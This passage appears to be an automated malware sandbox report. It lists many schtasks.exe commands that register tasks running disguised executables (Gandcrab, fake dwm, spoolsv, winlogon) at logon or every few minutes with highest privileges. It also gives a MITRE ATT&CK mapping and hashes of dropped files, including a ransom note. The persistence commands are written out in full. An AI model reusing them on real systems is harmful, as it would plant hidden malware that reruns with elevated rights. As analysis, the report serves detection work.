schtasks.exe /create /tn "73c1c41b9e71c48e752a5cd19fe808b6" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\73c1c41b9e71c48e752a5cd19fe808b6.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1516

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Users\Default\Downloads\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:1660

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 11 /tr "'C:\Users\Default\Downloads\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5240

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "73c1c41b9e71c48e752a5cd19fe808b67" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\73c1c41b9e71c48e752a5cd19fe808b6.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5320

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4140 -ip 4140
1⤵
PID:5556

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "VirusShare_0bd61f046f4d99491fa3588dba294e04V" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Photo Viewer\uk-UA\VirusShare_0bd61f046f4d99491fa3588dba294e04.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5580

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Gandcrab5.0.3G" /sc MINUTE /mo 6 /tr "'C:\Program Files\Microsoft Office\Office16\Gandcrab5.0.3.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5600

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\Idle.exe'" /f
1⤵
- Process spawned unexpected child process
PID:5652

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "VirusShare_0bd61f046f4d99491fa3588dba294e04" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Photo Viewer\uk-UA\VirusShare_0bd61f046f4d99491fa3588dba294e04.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5812

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:5840

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "VirusShare_0bd61f046f4d99491fa3588dba294e04V" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Photo Viewer\uk-UA\VirusShare_0bd61f046f4d99491fa3588dba294e04.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5884

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6032

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 8 /tr "'C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\StartMenuExperienceHost.exe'" /f
1⤵
- Process spawned unexpected child process
PID:6116

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Gandcrab5.0.3" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office\Office16\Gandcrab5.0.3.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6124

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Program Files\7-Zip\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
PID:5480

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5344

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 9 /tr "'C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4408

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b653" /sc MINUTE /mo 10 /tr "'C:\Users\Default User\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /f
1⤵
- Process spawned unexpected child process
PID:5660

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65" /sc ONLOGON /tr "'C:\Users\Default User\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5600

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004D0 0x00000000000004E0
1⤵
PID:5276

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files\7-Zip\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5288

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Gandcrab5.0.3G" /sc MINUTE /mo 10 /tr "'C:\Program Files\Microsoft Office\Office16\Gandcrab5.0.3.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5432

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 11 /tr "'C:\Program Files\7-Zip\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:5468

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b653" /sc MINUTE /mo 13 /tr "'C:\Users\Default User\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:1788

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 12 /tr "'C:\Users\Default User\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5620

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows NT\wininit.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5356

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Users\Default User\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6124

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows NT\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5232

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 5 /tr "'C:\Users\Default User\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5400

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Windows NT\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:4140

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\spoolsv.exe'" /f
1⤵
- Process spawned unexpected child process
PID:3380

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5384

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5620

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\smss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3788

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5568

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office 15\ClientX64\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6320

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 13 /tr "'C:\Program Files\VideoLAN\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6344

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6352

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6652

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6924

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Program Files\VideoLAN\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5996

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winhlp32w" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Windows Mail\winhlp32.exe'" /f
1⤵
- Process spawned unexpected child process
PID:6244

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 13 /tr "'C:\Program Files\VideoLAN\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:5408

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6624

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winhlp32" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Mail\winhlp32.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:7024

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\smss.exe'" /rl HIGHEST /f
1⤵
PID:6288

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 9 /tr "'C:\Program Files\Internet Explorer\uk-UA\winlogon.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6676

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Program Files\Internet Explorer\uk-UA\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6640

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 13 /tr "'C:\Program Files\Internet Explorer\uk-UA\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6852

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b653" /sc MINUTE /mo 13 /tr "'C:\Program Files\Windows NT\Accessories\en-US\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6936

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winhlp32w" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Mail\winhlp32.exe'" /rl HIGHEST /f
1⤵
PID:6408

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 13 /tr "'C:\Windows\Help\SppExtComObj.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7036

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObj" /sc ONLOGON /tr "'C:\Windows\Help\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6080

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 11 /tr "'C:\Windows\Help\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5548

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "kosomkk" /sc MINUTE /mo 9 /tr "'C:\Users\All Users\SoftwareDistribution\kosomk.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6972

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65" /sc ONLOGON /tr "'C:\Program Files\Windows NT\Accessories\en-US\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6668

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\Users\Default User\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
PID:7040

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Users\Default User\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6884

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b653" /sc MINUTE /mo 12 /tr "'C:\Program Files\Windows NT\Accessories\en-US\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6836

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "kosomk" /sc ONLOGON /tr "'C:\Users\All Users\SoftwareDistribution\kosomk.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5852

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\Users\Default User\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
PID:6828

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 6 /tr "'C:\Windows\tracing\sysmon.exe'" /f
1⤵
PID:6340

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 11 /tr "'C:\Program Files\Java\jre-1.8\dwm.exe'" /f
1⤵
PID:1752

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmon" /sc ONLOGON /tr "'C:\Windows\tracing\sysmon.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7100

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "kosomkk" /sc MINUTE /mo 8 /tr "'C:\Users\All Users\SoftwareDistribution\kosomk.exe'" /rl HIGHEST /f
1⤵
PID:5844

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 5 /tr "'C:\Windows\tracing\sysmon.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6352

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Program Files\Java\jre-1.8\dwm.exe'" /rl HIGHEST /f
1⤵
PID:3416

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows NT\Accessories\de-DE\WmiPrvSE.exe'" /f
1⤵
PID:6684

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 14 /tr "'C:\Windows\IME\IMETC\StartMenuExperienceHost.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6132

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Windows\IME\IMETC\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6720

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 11 /tr "'C:\Windows\IME\IMETC\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:716

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 6 /tr "'C:\Program Files\Java\jre-1.8\dwm.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7056

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 11 /tr "'C:\Windows\bcastdvr\RuntimeBroker.exe'" /f
1⤵
PID:5352

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Program Files\Windows NT\Accessories\de-DE\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
PID:6476

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\bcastdvr\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
PID:2828

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ClientC" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Adobe\Client.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:1280

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 14 /tr "'C:\Windows\bcastdvr\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
PID:6376

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows NT\Accessories\de-DE\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:1204

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe'" /f
1⤵
PID:4288

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Client" /sc ONLOGON /tr "'C:\Program Files (x86)\Adobe\Client.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6184

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6344

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
PID:6976

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Internet Explorer\fr-FR\explorer.exe'" /f
1⤵
PID:6624

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ClientC" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Adobe\Client.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6672

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Program Files (x86)\Internet Explorer\fr-FR\explorer.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:4804

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\conhost.exe'" /f
1⤵
PID:2828

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Internet Explorer\fr-FR\explorer.exe'" /rl HIGHEST /f
1⤵
PID:2172

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\conhost.exe'" /rl HIGHEST /f
1⤵
PID:6916

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe'" /f
1⤵
PID:1752

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae93553" /sc ONLOGON /tr "'C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6124

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\conhost.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6580

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7592

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:7008

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:9100

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:8480

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:8736

C:\Windows\SysWOW64\autochk.exe
"C:\Windows\SysWOW64\autochk.exe"
1⤵
PID:8880

C:\Windows\SysWOW64\NETSTAT.EXE
"C:\Windows\SysWOW64\NETSTAT.EXE"
1⤵
- Gathers network information
PID:6056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:9072

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:8492

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:7704

C:\Windows\SysWOW64\wowmgr.exe
C:\Windows\SysWOW64\wowmgr.exe
1⤵
PID:1480

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:8948

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:868

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "NH-HelperN" /sc MINUTE /mo 13 /tr "'C:\Program Files\VideoLAN\VLC\hrtfs\NH-Helper.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:8324

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:8116

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "NH-Helper" /sc ONLOGON /tr "'C:\Program Files\VideoLAN\VLC\hrtfs\NH-Helper.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:832

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "NH-HelperN" /sc MINUTE /mo 13 /tr "'C:\Program Files\VideoLAN\VLC\hrtfs\NH-Helper.exe'" /rl HIGHEST /f
1⤵
PID:5324

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5548

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:7896

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:8480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\$Recycle.Bin\HLPAXIRZR-DECRYPT.txt

Filesize
8KB

MD5
0702b57f682d76546cae21841f948c10

SHA1
8a09ed41aeab19736ac686b939e2857d530456a3

SHA256
21e4568a116b185c8c87c2787ef5d1fd556b351445ba64c12888966b44a68810

SHA512
3f2afae702066693219c579eba5021fdd713a57e4e3e586be911ad49195146d6345d0a2c85be1efe144d870591e45a879136367cade4fb4ce7015c4fc90d125f

Download Submit
C:\123.bat

Filesize
443B

MD5
70170ba16a737a438223b88279dc6c85

SHA1
cc066efa0fca9bc9f44013660dea6b28ddfd6a24

SHA256
d3674f4b34a8ca8167160519aa5c66b6024eb09f4cb0c9278bc44370b0efec6a

SHA512
37cc8c954544374d0a1ca4d012c9bd0b47781bc9bb8d0c15a8a95b9934893db3bedee867b984c20edabe54c39574abf7250de433aade6c0d544b8dd2c972c6da

Download Submit
C:\HLPAXIRZR-DECRYPT.txt

Filesize
8KB

MD5
891d6f278d75d8b380ecfae124f99769

SHA1
2e19f0c0d68f0bc444d21b6e5ea84058867feece

SHA256
db3c41e501ff3cc8676e108b1b40a3fcb677f3e0f8cc318bc78b9fad8a316e75

SHA512
cfb7c30eb1ad07ff7f1fe650b54299d9a25118eb3384f34f48397cedaeedfb5b61bc7a187a5c7b1b59086a5398016f358b6bcfc5c4aa8c51cb2c123137b00fe6

Download Submit
C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe

Filesize
233KB

MD5
4ef3177a2e94ce3d15ae9490a73a2212

SHA1
a34f47568ce7fcea97a002eebeae385efa98790c

SHA256
87353d18dfdebf4d0747bbf21d58adaed2b04060d61cba3fa052d522640520f0

SHA512
635ce5c0d1b9f7dd5d7b4c00f216af06dc7d818132ba87a57d3d54f6b30ee01f64430d2aa265f60027cc58dc2e738d5b674ee36ffdca34ff540ce44b7da7c502

Download Submit
C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe

Filesize
55KB

MD5
17315d95e80eb36cc51a7d25e4c8b231

SHA1
95006ad8de0a17dc3df6698e195e62b8ee32475e

SHA256
2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c

SHA512
481a15c46dcf38562aa989f52330e556da90a3ce00190cedb2e00b2a39df5db3bcc3af743060fd8c75933d6ae756aa4bbc176708f36d3b4aa443b4663ca94608

Download Submit
C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe

Filesize
37KB

MD5
5c8eb40a1344bd8b18c1ef0d95d433d4

SHA1
